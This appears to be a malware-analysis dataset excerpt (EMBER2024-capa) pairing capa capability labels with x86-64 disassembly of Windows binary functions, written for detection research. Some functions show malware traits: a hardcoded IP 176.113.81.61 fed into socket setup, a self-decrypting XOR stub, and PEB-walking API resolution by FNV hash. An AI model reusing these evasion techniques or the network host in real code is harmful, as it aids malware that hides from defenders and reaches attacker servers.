joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140005bb0
Capabilities:
Set socket configuration

Disassembly:
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xa0
mov rax, qword [0x140016028]
xor rax, rsp
mov qword [rbp + 0x17], rax
xor r12d, r12d
mov r15, r9
mov r14, rdx
mov rdi, rcx
cmp rcx, 0xffffffffffffffff
je 0x140005dab
mov qword [rsp + 0xe0], rbx
test r8b, r8b
je 0x140005c30
movzx eax, byte [rdx]
test al, 8
je 0x140005c30
or al, 8
mov dword [rbp + 0xf], r12d
mov byte [rdx], al
lea r9, [rbp + 0xf]
mov edx, 0xffff
mov dword [rsp + 0x20], 4
mov r8d, 0x80
call qword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
lea rcx, [rbp - 0x21]
setne dl
call fcn.140005af0
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
test eax, eax
mov rcx, r15
mov ebx, eax
setne dl
call fcn.140005af0
test ebx, ebx
je 0x140005da7
mov qword [rsp + 0x98], rsi
movabs rcx, 0x4d54ee85da812030
mov rsi, qword [0x1400160c0]
add rcx, rsi
mov qword [rsp + 0x90], r13
mov dword [rbp - 0x35], r12d
lea r13, [0x1400160b8]
cmp rcx, 1
jbe 0x140005ca0
mov rax, qword [0x1400160b8]
mov edx, 0x2733
mov rcx, r13
call qword [rax + 0x30]
mov rsi, qword [0x1400160c0]
jmp 0x140005ca2
mov al, 1
movzx eax, al
lea rdx, [rbp - 9]
add rax, 2
mov dword [rbp - 0x39], 0x2733
mov qword [rbp - 0x29], rax
mov rcx, r15
movsd xmm1, qword [rbp - 0x29]
mov qword [rbp - 0x31], r13
movups xmm0, xmmword [rbp - 0x39]
movsd qword [rbp + 7], xmm1
movups xmmword [rbp - 9], xmm0
call fcn.1400033f0
test al, al
jne 0x140005d3f
movabs rax, 0x4d54ee85da812030
mov dword [rbp - 0x35], r12d
add rax, rsi
cmp rax, 1
jbe 0x140005d05
mov rax, qword [0x1400160b8]
mov edx, 0x4d5
mov rcx, r13
call qword [rax + 0x30]
jmp 0x140005d07
mov al, 1
movzx eax, al
lea rdx, [rbp - 0x21]
add rax, 2
mov dword [rbp - 0x39], 0x4d5
mov qword [rbp - 0x29], rax
mov rcx, r15
movsd xmm1, qword [rbp - 0x29]
mov qword [rbp - 0x31], r13
movups xmm0, xmmword [rbp - 0x39]
movsd qword [rbp - 0x11], xmm1
movups xmmword [rbp - 0x21], xmm0
call fcn.1400033f0
test al, al
je 0x140005d71
lea r8, [rbp + 0xf]
mov dword [rbp + 0xf], r12d
mov edx, 0x8004667e
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_ioctlsocket]
and byte [r14], 0xfc
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
test eax, eax
mov rcx, r15
mov ebx, eax
setne dl
call fcn.140005af0
mov rsi, qword [rsp + 0x98]
mov eax, ebx
mov r13, qword [rsp + 0x90]
mov rbx, qword [rsp + 0xe0]
mov rcx, qword [rbp + 0x17]
xor rcx, rsp
call fcn.14000d350
add rsp, 0xa0
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
mov eax, ebx
jmp 0x140005d83
mov eax, r12d
jmp 0x140005d8b
Function at 0x140006640
Capabilities:
Send data
Send data on socket

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r14
push r15
mov rbp, rsp
sub rsp, 0x70
mov rax, qword [0x140016028]
xor rax, rsp
mov qword [rbp - 0x10], rax
mov rbx, qword [rbp + 0x60]
lea r9, [rbp - 0x18]
xor r15d, r15d
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
mov dword [rbp - 0x18], r15d
call qword [sym.imp.WS2_32.dll_WSASend]
mov esi, eax
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov rdx, qword [0x1400160c0]
lea r14, [0x1400160b8]
movabs r12, 0x4d54ee85da812030
mov dword [rbp - 0x2c], r15d
add rdx, r12
mov edi, eax
cmp rdx, 1
jbe 0x1400066c8
mov rcx, qword [0x1400160b8]
mov edx, eax
mov r8, qword [rcx + 0x30]
mov rcx, r14
call r8
jmp 0x1400066cd
test edi, edi
setne al
movzx eax, al
movabs r10, 0x4800144005b3
add rax, 2
mov dword [rbp - 0x30], edi
mov qword [rbp - 0x28], r14
movups xmm0, xmmword [rbp - 0x30]
mov qword [rbp - 0x20], rax
movsd xmm1, qword [rbp - 0x20]
movups xmmword [rbx], xmm0
movsd qword [rbx + 0x10], xmm1
mov r9, qword [rbx + 0x10]
cmp r9, 1
je 0x14000670b
mov eax, dword [rbx]
mov r8d, eax
jmp 0x14000673b
mov rcx, qword [rbx + 8]
mov rax, r10
mov r8d, dword [rbx]
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 0x14
imul rax, rax, 0x1ffff7
sub rcx, rax
imul eax, ecx, 0x3e8
add eax, r8d
cmp eax, 0x40
jne 0x14000677a
mov rcx, qword [0x1400160c0]
add rcx, r12
mov dword [rbp - 0x2c], r15d
cmp rcx, 1
jbe 0x14000676f
mov rax, qword [0x1400160b8]
mov edx, 0x2746
mov rcx, r14
call qword [rax + 0x30]
mov dword [rbp - 0x30], 0x2746
jmp 0x1400067e7
mov al, 1
mov dword [rbp - 0x30], 0x2746
jmp 0x1400067e7
cmp r9, 1
jne 0x1400067ad
mov rcx, qword [rbx + 8]
mov rax, r10
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 0x14
imul rax, rax, 0x1ffff7
sub rcx, rax
imul eax, ecx, 0x3e8
add r8d, eax
cmp r8d, 0x4d2
jne 0x140006807
mov rcx, qword [0x1400160c0]
add rcx, r12
mov dword [rbp - 0x2c], r15d
cmp rcx, 1
jbe 0x1400067de
mov rax, qword [0x1400160b8]
mov edx, 0x274d
mov rcx, r14
call qword [rax + 0x30]
jmp 0x1400067e0
mov al, 1
mov dword [rbp - 0x30], 0x274d
movzx eax, al
mov qword [rbp - 0x28], r14
add rax, 2
movups xmm0, xmmword [rbp - 0x30]
mov qword [rbp - 0x20], rax
movsd xmm1, qword [rbp - 0x20]
movups xmmword [rbx], xmm0
movsd qword [rbx + 0x10], xmm1
test esi, esi
je 0x140006812
mov eax, 0xffffffff
jmp 0x140006829
mov eax, dword [rbp - 0x18]
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbp - 0x20], r15
movsd xmm0, qword [rbp - 0x20]
movsd qword [rbx + 0x10], xmm0
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.14000d350
add rsp, 0x70
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
Function at 0x140006850
Capabilities:
Get socket status

Disassembly:
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1b0]
sub rsp, 0x2b0
mov rax, qword [0x140016028]
xor rax, rsp
mov qword [rbp + 0x1a0], rax
mov rdi, qword [rbp + 0x220]
mov rax, r8
mov qword [rsp + 0x50], rax
movzx r13d, dl
mov qword [rsp + 0x48], r9
mov r12, rcx
cmp rcx, 0xffffffffffffffff
jne 0x14000690d
mov rcx, qword [0x1400160c0]
lea r14, [0x1400160b8]
xor esi, esi
movabs r15, 0x4d54ee85da812030
add rcx, r15
mov dword [rsp + 0x34], esi
cmp rcx, 1
jbe 0x1400068d8
mov rax, qword [0x1400160b8]
mov edx, 0x2719
mov rcx, r14
call qword [rax + 0x30]
jmp 0x1400068da
mov al, 1
movzx eax, al
add rax, 2
mov dword [rsp + 0x30], 0x2719
mov qword [rsp + 0x40], rax
xor eax, eax
movsd xmm1, qword [rsp + 0x40]
mov qword [rsp + 0x38], r14
movups xmm0, xmmword [rsp + 0x30]
movups xmmword [rdi], xmm0
movsd qword [rdi + 0x10], xmm1
jmp 0x140006ab6
cmp byte [rbp + 0x218], 0
je 0x14000693b
test r13b, 0x10
je 0x14000693b
xorps xmm0, xmm0
xor esi, esi
movups xmmword [rdi], xmm0
mov qword [rsp + 0x68], rsi
xor eax, eax
movsd xmm0, qword [rsp + 0x68]
movsd qword [rdi + 0x10], xmm0
jmp 0x140006ab6
mov r8, r9
mov qword [rsp + 0x2f8], rbx
mov rdx, rax
mov qword [rsp + 0x20], rdi
call fcn.140006640
test eax, eax
jns 0x140006aac
and r13b, 1
lea r14, [0x1400160b8]
xor esi, esi
movabs r15, 0x4d54ee85da812030
test r13b, r13b
jne 0x140006ad8
mov rbx, qword [0x1400160c0]
mov dword [rsp + 0x34], esi
lea rax, [rbx + r15]
cmp rax, 1
jbe 0x1400069ab
mov rax, qword [0x1400160b8]
mov edx, 0x2733
mov rcx, r14
call qword [rax + 0x30]
mov rbx, qword [0x1400160c0]
jmp 0x1400069ad
mov al, 1
movzx eax, al
lea rdx, [rsp + 0x70]
add rax, 2
mov dword [rsp + 0x30], 0x2733
mov qword [rsp + 0x40], rax
mov rcx, rdi
movsd xmm1, qword [rsp + 0x40]
mov qword [rsp + 0x38], r14
movups xmm0, xmmword [rsp + 0x30]
movsd qword [rbp - 0x80], xmm1
movups xmmword [rsp + 0x70], xmm0
call fcn.1400033f0
test al, al
jne 0x140006a54
lea rax, [rbx + r15]
mov dword [rsp + 0x34], esi
cmp rax, 1
jbe 0x140006a0e
mov rax, qword [0x1400160b8]
mov edx, 0x4d5
mov rcx, r14
call qword [rax + 0x30]
jmp 0x140006a10
mov al, 1
movzx eax, al
lea rdx, [rsp + 0x58]
add rax, 2
mov dword [rsp + 0x30], 0x4d5
mov qword [rsp + 0x40], rax
mov rcx, rdi
movsd xmm1, qword [rsp + 0x40]
mov qword [rsp + 0x38], r14
movups xmm0, xmmword [rsp + 0x30]
movsd qword [rsp + 0x68], xmm1
movups xmmword [rsp + 0x58], xmm0
call fcn.1400033f0
test al, al
je 0x140006ad8
lea ecx, [r12 + 1]
mov qword [rbp - 0x68], r12
xor r9d, r9d
mov dword [rbp - 0x70], 1
lea r8, [rbp - 0x70]
mov qword [rsp + 0x20], rsi
xor edx, edx
call qword [sym.imp.WS2_32.dll_select]
mov edx, eax
mov rcx, rdi
shr edx, 0x1f
mov ebx, eax
call fcn.140005af0
test ebx, ebx
je 0x140006a8d
js 0x140006ad8
mov r8, qword [rsp + 0x48]
mov rcx, r12
mov rdx, qword [rsp + 0x50]
mov qword [rsp + 0x20], rdi
call fcn.140006640
test eax, eax
js 0x140006972
mov eax, eax
mov rbx, qword [rsp + 0x2f8]
mov rcx, qword [rbp + 0x1a0]
xor rcx, rsp
call fcn.14000d350
add rsp, 0x2b0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
xor eax, eax
jmp 0x140006aae
Function at 0x140009330
Capabilities:
Initialize winsock library

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x200
mov rax, qword [0x140016028]
xor rax, rsp
mov qword [rsp + 0x1f0], rax
movzx ebx, dl
mov rdi, rcx
mov eax, 1
lock xadd dword [0x140017360], eax
inc eax
cmp eax, 1
jne 0x14000937d
lea ecx, [rax + 1]
lea rdx, [rsp + 0x50]
call qword [sym.imp.WS2_32.dll_WSAStartup]
xchg dword [0x140017364], eax
test bl, bl
je 0x140009421
xor ebx, ebx
lock xadd dword [0x140017364], ebx
test ebx, ebx
je 0x140009421
movabs rcx, 0x4d54ee85da812030
mov qword [rsp + 0x210], rsi
add rcx, qword [0x1400160c0]
lea rsi, [0x1400160b8]
mov dword [rsp + 0x3c], 0
cmp rcx, 1
jbe 0x1400093d6
mov rax, qword [0x1400160b8]
mov edx, ebx
mov rcx, rsi
call qword [rax + 0x30]
jmp 0x1400093d8
mov al, 1
lea rcx, str.C:UsersAdminDesktopAceid_assets_boost.asio_boost_asiodetail_throw_error.hpp
movzx eax, al
add rax, 2
mov qword [rsp + 0x20], rcx
mov qword [rsp + 0x40], rsi
lea rcx, str.throw_on_error
mov rsi, qword [rsp + 0x210]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x38], ebx
mov dword [rsp + 0x30], 0x30
mov dword [rsp + 0x34], 5
test al, 1
jne 0x140009445
mov rax, rdi
mov rcx, qword [rsp + 0x1f0]
xor rcx, rsp
call fcn.14000d350
mov rbx, qword [rsp + 0x218]
add rsp, 0x200
pop rdi
ret
lea r8, [rsp + 0x20]
lea rdx, str.winsock
lea rcx, [rsp + 0x38]
call fcn.140003f30
int3
Function at 0x14000c660
Capabilities:
Create thread

Disassembly:
push rbx
sub rsp, 0xc0
mov ecx, 0x4e3
call qword [sym.imp.KERNEL32.dll_SetConsoleCP]
mov ecx, 0x4e3
call qword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
xor ebx, ebx
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], ebx
xor r9d, r9d
lea r8, [0x14000c5e0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rax, str.176.113.81.61
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], select
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x50]
call fcn.140007a10
mov rcx, qword [rsp + 0xa0]
test rcx, rcx
je 0x14000c71f
mov rdx, qword [rsp + 0xb0]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c706
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000c758
call fcn.14000d6cc
mov qword [rsp + 0xa0], rbx
xorps xmm0, xmm0
movdqu xmmword [rsp + 0xa8], xmm0
mov rcx, qword [rsp + 0x88]
test rcx, rcx
je 0x14000c778
mov rdx, qword [rsp + 0x98]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c75f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000c75f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000d6cc
mov qword [rsp + 0x88], rbx
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x90], xmm0
mov rbx, qword [rsp + 0x58]
mov rbx, qword [rbx + 0x30]
test rbx, rbx
je 0x14000c798
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + reloc.WS2_32.dll_htonl]
mov rbx, qword [rbx + 0x20]
test rbx, rbx
jne 0x14000c786
mov eax, 0xffffffff
lock xadd dword [0x140017360], eax
cmp eax, 1
jne 0x14000c7b0
call qword [sym.imp.WS2_32.dll_WSACleanup]
lea rcx, [rsp + 0x58]
call fcn.140004140
nop
xor eax, eax
add rsp, 0xc0
pop rbx
ret
Function at 0x14000df54
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000df9e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000df9e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000df9e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000df9e
cmp dword [rcx + 0x84], 0xe
jbe 0x14000df9e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000dfa0
xor al, al
add rsp, 0x28
ret
Function at 0x100002454
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rsi
mov qword [rsp + 0x10], rdi
mov qword [rsp + 0x18], r12
push r13
sub rsp, 0x30
mov rax, qword gs:[0x30]
mov rdi, qword [rax + 8]
xor r12d, r12d
xor eax, eax
lock cmpxchg qword [0x100004758], rdi
je 0x1000024a2
cmp rax, rdi
jne 0x100002495
mov edi, 1
mov r12d, edi
jmp 0x1000024a7
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x100002479
mov edi, 1
mov eax, dword [0x100004750]
cmp eax, edi
jne 0x1000024bd
mov ecx, 0x1f
call sub.msvcrt.dll__amsg_exit
jmp 0x10000251a
mov eax, dword [0x100004750]
test eax, eax
jne 0x100002514
mov dword [0x100004750], edi
lea r13, [0x100001290]
lea rsi, [0x100001278]
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], eax
cmp rsi, r13
jae 0x100002506
test eax, eax
jne 0x100002506
mov rcx, qword [rsi]
test rcx, rcx
je 0x1000024fb
call rcx
mov dword [rsp + 0x20], eax
add rsi, 8
mov qword [rsp + 0x28], rsi
jmp 0x1000024e4
test eax, eax
je 0x10000251a
mov eax, 0xff
jmp 0x1000025ec
mov dword [0x100004184], edi
mov eax, dword [0x100004750]
cmp eax, edi
jne 0x100002541
lea rdx, [0x100001270]
lea rcx, [0x100001260]
call sub.msvcrt.dll__initterm
mov dword [0x100004750], 2
test r12d, r12d
jne 0x10000254f
xor eax, eax
xchg qword [0x100004758], rax
cmp qword [0x100004760], 0
je 0x100002578
lea rcx, [0x100004760]
call fcn.10000284c
test eax, eax
je 0x100002578
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
call qword [0x100004760]
mov r8, qword [0x100004168]
mov rdx, qword [0x100004170]
mov ecx, dword [0x100004160]
call fcn.100001b54
mov dword [0x100004180], eax
cmp dword [0x100004164], 0
jne 0x1000025a8
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
cmp dword [0x100004184], 0
jne 0x1000025bd
call qword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x100004180]
jmp 0x1000025ec
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
mov r12, qword [rsp + 0x50]
add rsp, 0x30
pop r13
ret
sub rsp, 0x28
call fcn.10016a000
add rsp, 0x28
jmp 0x100002454
Function at 0x140e5c5b8
Capabilities:
Encode data using xor

Disassembly:
jmp 0x140e5c5c2
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
pushfq
sub rsp, 8
stmxcsr dword [rsp]
call 0x140e5c5eb
pop rbp
sub rbp, 0x33
sub rbp, 0xe5c5b8
sub rsp, 0x20
jmp 0x140e5c60a
mov rax, 0xe5c5b8
add rax, rbp
add rax, 0x84
mov rcx, 0x60b
mov rdx, 0xffffffff9bcf3558
xor byte [rax], dl
inc rax
dec rcx
jne 0x140e5c629
jmp 0x140e5c640
adc cl, dl
mov cl, 0xd3
shl dword [rax + rbx*2 + 0x58], 1
pop rax
adc cl, bl
cdq
push rax
pop rcx
pop rax
pop rax
adc byte [rcx - 0x4f], bl
adc byte [rdi + 0x58585f98], bl
pop rax
adc byte [rdi + 0x5858709a], bl
pop rax
adc byte [rdi - 0x66a6ef46], ch
rcr ecx, cl
push rsp
pop rax
pop rax
pop rax
adc byte [rcx - 0x50], bl
or byte [rax], cl
adc al, ah
mov byte [rcx + rsi*2 + 0x58585858], bl
pop rax
adc cl, ah
mov esi, 0x5858e458
pop rax
pop rax
pop rax
adc byte [rcx - 0x4f], bl
adc dl, ah
cmpsd dword [rsi], dword [rdi]
adc dword [rcx], esp
hlt
Function at 0x140004884
Capabilities:
Delete directory

Disassembly:
push rbp
push r15
xor rax, rax
push rax
push rax
sub rsp, 0x28
call fcn.140012b50
mov r15, qword [0x140020504]
cmp r15, 1
jne 0x140004953
push qword [0x1400205f4]
pop rcx
call fcn.14000dd04
mov r15, rax
and r15, r15
jle 0x1400048e9
mov rcx, qword [0x1400205f4]
call fcn.14000dd0c
mov rcx, qword [0x1400205f4]
call fcn.14000dd20
or rax, rax
je 0x1400048e9
mov rbp, qword [0x1400205fc]
push qword [rbp + 0x10]
pop rcx
call fcn.14000e1bc
jmp 0x1400048c6
push qword [0x1400205e4]
pop rcx
call fcn.14000dd04
mov qword [rsp + 0x28], rax
mov r15, qword [rsp + 0x28]
and r15, r15
jle 0x140004953
push 5
push 0
push 1
push qword [0x1400205e4]
pop rcx
pop rdx
pop r8
pop r9
call fcn.140009060
mov rcx, qword [0x1400205e4]
call fcn.14000dd0c
mov rcx, qword [0x1400205e4]
call fcn.14000dd20
or rax, rax
je 0x140004953
mov rbp, qword [0x1400205ec]
push qword [rbp + 0x14]
pop rcx
call sub.KERNEL32.dll_RemoveDirectoryW
jmp 0x140004930
mov rax, 1
jmp 0x14000495f
add rsp, 0x38
pop r15
pop rbp
ret

Function at 0x140006b38
Capabilities:
Get thread local storage value

Disassembly:
sub rsp, 0x48
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], rcx
call sub.KERNEL32.dll_GetLastError
mov qword [rsp + 0x38], rax
mov rcx, qword [0x14001f180]
call sub.KERNEL32.dll_TlsGetValue
mov rcx, qword [rsp + 0x30]
mov qword [rax + 0x10], rcx
mov rcx, qword [rsp + 0x38]
call sub.KERNEL32.dll_SetLastError
mov rax, qword [rsp + 0x28]
add rsp, 0x48
ret

Function at 0x140007204
Capabilities:
Terminate thread

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
call fcn.140007194
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateThread]
lea rcx, [0x140021200]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140020630]
jmp 0x140007240
cmp qword [rbx + 0x18], rdi
je 0x140007247
mov rbx, qword [rbx]
test rbx, rbx
jne 0x140007237
jmp 0x140007261
mov rcx, qword [rbx + 0x10]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbx + 0x10]
lea rcx, [0x140020630]
call fcn.1400123b8
lea rcx, [0x140021200]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop rsi
dec dword [rdi - 0x6e009fa2]
pop rsi
invalid
insd dword [rdi], dx
call qword [rbp - 0x6800919d]
invalid
cmp bh, 0x99
test edi, edi
wait
mov bh, bh
wait
mov di, di
invalid
pushfq
xchg edx, eax
call [rbx - 0x62006999]
cwde
call [rbp - 0x62006599]
invalid
invalid
wait
call [rsi - 0x61006498]
push 0x689dff99
cdq
call [rbp - 0x62006a98]
push 0x689eff93
invalid
call [rsi - 0x61007798]
push 0x679cff81
pushfq
jns 0x14003f6eb
cdq
call [rbp - 0x62006a98]
push 0x689eff93
invalid
pushfq
jns 0x14003f6eb
call [rsi + riz*2 + 0x6499ff70]
pushfq
jo 0x14003f6ef
call [rcx - 0x7400989c]
pop rsp
pop rbx
dec dword [rdx]
cdq
dec dword fs:[ebx + 0xaff5b5c]
dec dword [ebx + 0xaff5b5c]
dec dword [ebx + 0xaff5b5c]
mov ebx, dword [rbx + rbx*2 - 1]
or al, byte [rdi]
invalid
invalid
Function at 0x140003a90
Capabilities:
Access peb ldr_data
Encode data using xor
Get kernel32 base address
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x50
mov rax, qword [0x1400d5058]
xor rax, rsp
mov qword [rsp + 0x40], rax
movzx r8d, byte [0x1400d7a39]
xor edx, edx
mov r15, rcx
sub r8d, 1
je 0x140003bbf
cmp r8d, 9
jne 0x140003ca9
mov dword [rsp + 0x34], 0x32303176
mov byte [rsp + 0x38], dl
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rbx, qword [rax + 0x30]
movsxd rcx, dword [rbx + 0x3c]
mov esi, dword [rcx + rbx + 0x88]
add rsi, rbx
cmp rsi, rbx
je 0x140003b7a
mov r11d, dword [rsi + 0x18]
test r11d, r11d
je 0x140003b7a
mov r14d, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r11d
mov r10d, 0x9702e319
lea rcx, [r14 + r11*4]
mov r8d, dword [rcx + rbx]
add r8, rbx
movzx r9d, byte [r8]
inc r8
test r9b, r9b
je 0x140003b75
movsx ecx, r9b
lea r8, [r8 + 1]
sub r9b, 0x41
mov edx, ecx
or edx, 0x20
cmp r9b, 0x19
movzx r9d, byte [r8 - 1]
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
test r9b, r9b
jne 0x140003b40
cmp r10d, 0x1b4de658
je 0x140003b82
test r11d, r11d
jne 0x140003b20
mov rax, qword [rax]
jmp 0x140003af0
mov ecx, dword [rsi + 0x24]
add rcx, rbx
movzx edx, word [rcx + r11*2]
mov ecx, dword [rsi + 0x1c]
add rcx, rbx
mov eax, dword [rcx + rdx*4]
lea rcx, [rsp + 0x35]
add rax, rbx
call rax
mov rcx, qword [r15]
movsxd rdx, eax
add rdx, rcx
cmp byte [0x1400d7a3a], 0
je 0x140003ca9
lea rdx, [rcx + 0x6e]
jmp 0x140003ca9
mov dword [rsp + 0x30], 0x353871
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov rbx, qword [rax + 0x30]
movsxd rcx, dword [rbx + 0x3c]
mov esi, dword [rcx + rbx + 0x88]
add rsi, rbx
cmp rsi, rbx
je 0x140003c6d
mov r11d, dword [rsi + 0x18]
test r11d, r11d
je 0x140003c6d
mov r14d, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r11d
mov r10d, 0x17555696
lea rcx, [r14 + r11*4]
mov ecx, dword [rcx + rbx]
add rcx, rbx
movzx r9d, byte [rcx]
inc rcx
test r9b, r9b
je 0x140003c68
nop
movsx edx, r9b
lea rcx, [rcx + 1]
sub r9b, 0x41
mov r8d, edx
or r8d, 0x20
cmp r9b, 0x19
movzx r9d, byte [rcx - 1]
cmova r8d, edx
xor r8d, r10d
imul r10d, r8d, 0x1000193
test r9b, r9b
jne 0x140003c30
cmp r10d, 0x66d22fc7
je 0x140003c75
test r11d, r11d
jne 0x140003c10
mov rax, qword [rax]
jmp 0x140003be0
mov ecx, dword [rsi + 0x24]
add rcx, rbx
movzx edx, word [rcx + r11*2]
mov ecx, dword [rsi + 0x1c]
add rcx, rbx
mov eax, dword [rcx + rdx*4]
lea rcx, [rsp + 0x31]
add rax, rbx
call rax
mov rcx, qword [r15]
movsxd rdx, eax
add rdx, rcx
cmp byte [0x1400d7a3a], 0
je 0x140003ca9
lea rdx, [rcx + 0x65]
mov rcx, qword [0x1400d7a30]
lea r8, [rsp + 0x3c]
mov r9d, 1
mov qword [rsp + 0x20], 0
call qword [sym.imp.ntdll.dll_ZwReadVirtualMemory]
cmp byte [rsp + 0x3c], 0
sete al
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.1400aa330
mov rbx, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x80]
add rsp, 0x50
pop r15
pop r14
pop rdi
ret